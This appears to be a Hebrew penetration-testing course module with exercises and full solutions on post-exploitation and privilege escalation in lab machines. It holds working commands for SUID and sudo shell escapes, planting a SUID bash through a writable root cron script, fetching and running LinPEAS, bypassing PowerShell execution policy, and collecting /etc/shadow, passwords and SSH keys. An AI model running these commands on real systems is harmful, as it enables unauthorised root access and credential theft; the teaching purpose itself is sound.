

מודול 11 — פוסט-אקספלוויטציה והסלמת הרשאות — תרגילים ופתרונות

חומר לימוד

2 יחידות

תוכן העניינים

1.  תרגילים — מודול 11: פוסט-אקספלויטציה והסלמת הרשאות
2.  פתרונות מלאים — מודול 11: פוסט-אקספלויטציה והסלמת הרשאות

תרגילים — מודול 11: פוסט-אקספלויטציה והסלמת הרשאות

רק על מכונות תרגול חוקיות — Metasploitable, מכונות TryHackMe (Linux/Windows PrivEsc), VulnHub. פתרונות ב- `solutions.md`.

לפני שמתחילים — קרא אותי!

- מה צריך: Kali + מכונת יעד עם Shell של משתמש מוגבל. חדרי "Linux PrivEsc" ו-"Windows PrivEsc" ב-TryHackMe הם המושלמים לתרגול הזה (מוכנים בענן).
- איך עובדים: קרא קודם את ה-`README.md`. למשימות הבסיסיות (🟡🟢) יש פקודה מדויקת + מה לחפש; לקשות 💡 רמז ו-✅ קריטריון.
- נתקעת? הסלמה = 90% Enumeration. אם לא מצאת וקטור — הרץ LinPEAS ותקרא לאט. ואז הצץ ב-`solutions.md`.
- טיפ: אחרי כל Shell שאל: "מי אני, מה אני יכול, מה מותקן שיכול לקדם אותי?"

איפה לתרגל — שתי דרכים

- TryHackMe (בדפדפן, ללא התקנה): "Linux PrivEsc" · "Windows PrivEsc".
- Kali (מקומי): מכונת יעד מקומית + GTFOBins; LinPEAS/WinPEAS; להסלמה.

מקרא רמות: 🟢 קל · 🟡 בינוני · 🟠 מתקדם · 🔴 אתגר

האתגר הגדול — מרוץ ל-root

קיבלת משתמש מוגבל. המשימה: הסלם ל-root מהר ככל האפשר. TryHackMe — Linux PrivEsc. הוא מגרש המשחקים המושלם — עשרות וקטורי הסלמה.

🏆 **מרוץ כיתתי:** מי מגיע ל- `uid=0(root)` ראשון? רשום את הווקטור שניצלת. ☒ הצלחה: הסלמת ל-root דרך `SUID / sudo / cron` וכו'.

חלק א' — ייצוב ו-Enumeration (🟢)

11.1 🟢 — קיבלת Reverse Shell גולמי. ייצב אותו לשל מלא.

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
# ואז ב, Ctrl+Z לחץ:
stty raw -echo; fg
```

👁👁 **חפש:** אחרי הייצוב — השלמת Tab, חצים, ו-Ctrl+C עובדים בלי להפיל את ה-Shell. ☒ הצלחה: יש לך shell מלא ונוח.

11.2 🟢 — הרץ Enumeration בסיסי על Linux.

<code>id; whoami</code>	# מי אני
<code>uname -a</code>	# גרסת קרנל
<code>cat /etc/passwd</code>	# משתמשים
<code>sudo -l</code>	# מה מותר כ sudo

👁👁 **חפש:** מי אתה, גרסת הקרנל, ואם `sudo -l` מראה משהו מעניין. ☒ הצלחה: אספת את פרטי המערכת הבסיסיים.

11.3 🟡 — הרץ את אותה בדיקה על Windows והשווה.

```
whoami /priv
systeminfo
net user
```

💡 **רמז:** §11.5 README. שים לב במיוחד ל-`SeImpersonatePrivilege`. ☒ הצלחה: הבנת שב-Windows מתמקדים בהרשאות ושירותים ולא ב-SUID/sudo.

חלק ב' — הסלמה ב-Linux (🟡🟡)

11.4 🟡 — מצא קובצי SUID ונצל אחד דרך GTFOBins.

```
find / -perm -4000 -type f 2>/dev/null
```

💡 רמז: §11.4 README. קח שם של בינארי מהרשימה, חפש אותו ב-GTFOBins, ובצע את שורת ה-SUID. ✓ הצלחה: הגעת ל-id עם uid=0(root).

11.5 — נצל הרשאת sudo להסלמה. 🟡

```
sudo -l          # ראה מה מותר
# sudo-את שורת ה GTFOBins-וכו' - חפש ב vim/find/python אם מותר
```

💡 רמז: §11.4 README. למשל `sudo vim -c '!/bin/sh'`. ✓ הצלחה: קיבלת shell כ-root דרך תוכנית מורשית.

11.6 — מצא Cron job שרץ כ-root וכתיב לך, והזרק פקודה. 💡 רמז: §11.4 README. `cat /etc/crontab`; בדוק אם הסקריפט שרץ כ-root כתיב לך. ✓ הצלחה: הזרקת פקודה שרצה כ-root (הסלמה).

חלק ג' — הסלמה ב-Windows ואוטומציה (🟡)

11.7 — הרץ WinPEAS או PowerUp.ps1 וזהה וקטור הסלמה. 💡 רמז: §11.5–11.6 README. Invoke-AllChecks ב-PowerUp. חפש Unquoted Path / AlwaysInstallElevated. ✓ הצלחה: זיהית והסברת לפחות וקטור הסלמה אחד שהכלי הדגיש.

11.8 — הרץ LinPEAS והשווה למה שמצאת ידנית. 🟡

```
# (ב-Kali ב-HTTP למשל דרך שרת) לקורבן linpeas.sh העבר את:
python3 -m http.server 80      # ב-Kali
wget http://<kali>/linpeas.sh -O /tmp/lp.sh; chmod +x /tmp/lp.sh; /tmp/lp.sh
```

👁️ חפש: ממצאים בצבע אדום/צהוב — אלה הווקטורים הסבירים ביותר. ✓ הצלחה: LinPEAS מצא לפחות דבר אחד שפספסת ידנית.

11.9 — Looting: אחרי הסלמה, אסוף /etc/shadow, קובץ קונפיג עם סיסמה, ומפתח SSH. 💡 רמז: §11.8 README. את ה-Hashes → סדוק ב-hashcat/john (מודול 8). ✓ הצלחה: אספת אישורים שישמשו לתנועה רוחבית (מודול 12).

אתגר מסכם — “מ-root ל-root, מתועד”

על מכונת PrivEsc (Linux PrivEsc, TryHackMe או “Windows PrivEsc”):

1. התחל מ-Shell של משתמש **מוגבל**.
2. בצע **Enumeration** מלא (ידני + אוטומטי) ותעד את כל הווקטורים.
3. **הסלם ל-root/SYSTEM** דרך וקטור אחד לפחות — הסבר בדיוק למה עבד.
4. **Loot**: אוסף hashes/סיסמאות. נסה לפצח אחד (מודול 8).
5. **תעד דוח PrivEsc**: נקודת פתיחה, וקטור ההסלמה, PoC (פקודות + פלט), והמלצת תיקון.

💡 רמז: פתרון מלא + מבנה דוח ב- `solutions.md`.  הצלחה: הגעת ל-root/SYSTEM ותיעדת את השרשרת.

 דוח הסלמת הרשאות הוא חלק מרכזי בכל דוח בדיקת חדירה. שמור אותו לתיק העבודות.

רשימת בקרה — לפני מעבר למודול 12

- ☐ אני מייצב Reverse Shell גולמי לשל מלא
- ☐ אני מבצע Enumeration מקומי ב-Linux וב-Windows
- ☐ אני מסלים ב-Linux (SUID, sudo, Cron, Kernel) עם GTFOBins
- ☐ אני מסלים ב-Windows (privileges, services, AlwaysInstallElevated)
- ☐ אני משתמש ב-LinPEAS/WinPEAS ומפרש את הפלט
- ☐ אני אוסף hashes וסיסמאות (Looting) ומבין את חשיבותם לתנועה רוחבית

פתרונות מלאים: `solutions.md`

פתרונות מלאים — מודול 11: פוסט-אקספלויטציה והסלמת הרשאות

נסה לבד ב- `missions.md` קודם. כל הפעולות על מכונות תרגול חוקיות בלבד.

חלק א' — ייצוב ו-Enumeration

11.1

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
# Ctrl+Z
stty raw -echo; fg
# ← shell מלא
```

11.2

```
id; whoami                # מי אני
uname -a; cat /etc/os-release # מערכת וקונל
cat /etc/passwd           # משתמשים
ps aux; netstat -tulpn    # תהליכים ורשת
sudo -l                   # הרשאות sudo
```

11.3

```
whoami /priv      :: הרשאות מיוחדות
systeminfo        :: גרסה + hotfixes
net user          :: משתמשים
```

ההבדל המרכזי: ב-Windows מתמקדים בהרשאות (Privileges) ושירותים, ב-Linux בקבצים (SUID) ו-sudo.

חלק ב' — הסלמה ב-Linux

11.4

```
find / -perm -4000 -type f 2>/dev/null
# SUID → GTF0Bins עם find נניח מצאנו
find . -exec /bin/sh -p \; -quit
# id → uid=0(root) ✓
```

11.5

```
sudo -l
# (root) NOPASSWD: /usr/bin/vim ← דוגמה
sudo vim -c '!/bin/sh'
# → shell כ-root
```

עקרון: כל תוכנית שמותר להריץ כ-sudo ומאפשרת "ברירה" לפקודת מערכת (vim, less, find, awk,...python) = הסלמה. בדוק ב-GTFOBins.

11.6

```
cat /etc/crontab
# * * * * * root /opt/backup.sh ← רץ כ-root
ls -la /opt/backup.sh           # אם כתיב לי:
echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' >> /opt/backup.sh
# ממתינים לריצה, ואז:
/tmp/rootbash -p                # → root
```

חלק ג' — Windows ואוטומציה

11.7 — PowerUp.ps1 :

```
powershell -ep bypass
. .\PowerUp.ps1
Invoke-AllChecks
```

דוגמאות ממצא: **Unquoted Service Path, AlwaysInstallElevated=1**, שירות עם הרשאות חלשות. בוחרים אחד ומנצלים (למשל שתילת בינארי בנתיב לא ממוקש).

11.8 — linpeas.sh צובע ממצאים **באדום/צהוב** (סבירות גבוהה). לרוב הוא ימצא דברים שפספסת: passwords בקבצי קונפיג, capabilities, מפתחות פרטיים, ותהליכים חשודים — כי הוא סורק מאות מיקומים.

11.9

```
cat /etc/shadow                # hashes
cat /var/www/html/config.php   # DB סיסמת
cat /home/user/.ssh/id_rsa     # מפתח פרטי
```

עם ה-hashes → **מפצחים ב-hashcat/john** (מודול 8), או משתמשים בהם ל-**Pass-the-Hash** ותנועה רוחבית (מודול 12/13).

```
# >דוח הסלמת הרשאות - >מכונה #  
  
## נקודת פתיחה  
Shell דרך, (הרשאות מוגבלות) www-data כמשתמש File Upload.  
  
## Enumeration  
LinPEAS על /usr/bin/find; sudo NOPASSWD על /usr/bin/vim.  
  
## וקטור ההסלמה שנוצל  
sudo vim -c '!/bin/sh' → uid=0(root)  
ומאפשר בריחה לפקודת מערכת sudo-מותר כ vim: למה עבד.  
  
## Looting  
(מודול 8) hashcat עם root פוצחה סיסמת /etc/shadow; נשלף.  
  
## המלצת תיקון  
least-privilege הפעל עקרון SUID; הגבל vim-מ NOPASSWD הסר
```

עברת? יש לך דוח PrivEsc אמיתי. המשך למודול 12.